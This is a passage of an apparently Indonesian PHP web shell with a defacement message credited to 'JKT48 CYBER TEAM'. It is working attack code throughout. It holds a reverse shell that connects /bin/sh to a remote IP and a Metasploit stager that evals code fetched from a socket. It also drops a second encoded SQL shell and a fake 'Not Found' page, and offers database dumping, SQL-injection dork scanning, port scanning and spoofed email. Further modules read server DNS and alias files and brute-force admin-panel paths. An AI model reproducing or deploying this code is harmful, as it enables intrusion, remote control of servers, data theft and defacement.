YSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
//////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
//////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
</td></form></center></table>';
}
}
///////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">You got hacked by JKT48 CYBER TEAM</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="Please Patch Your Security" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'bye!';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<br><br><center><h1>Password Hash</h1></center><br><br><div class=content>';
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?><center><br><br><b>Script Encode and Decode</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;default:break;}}
echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
}
////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>'.$ip.'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
}
}
//////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>CMS Detector</font></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
}
////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
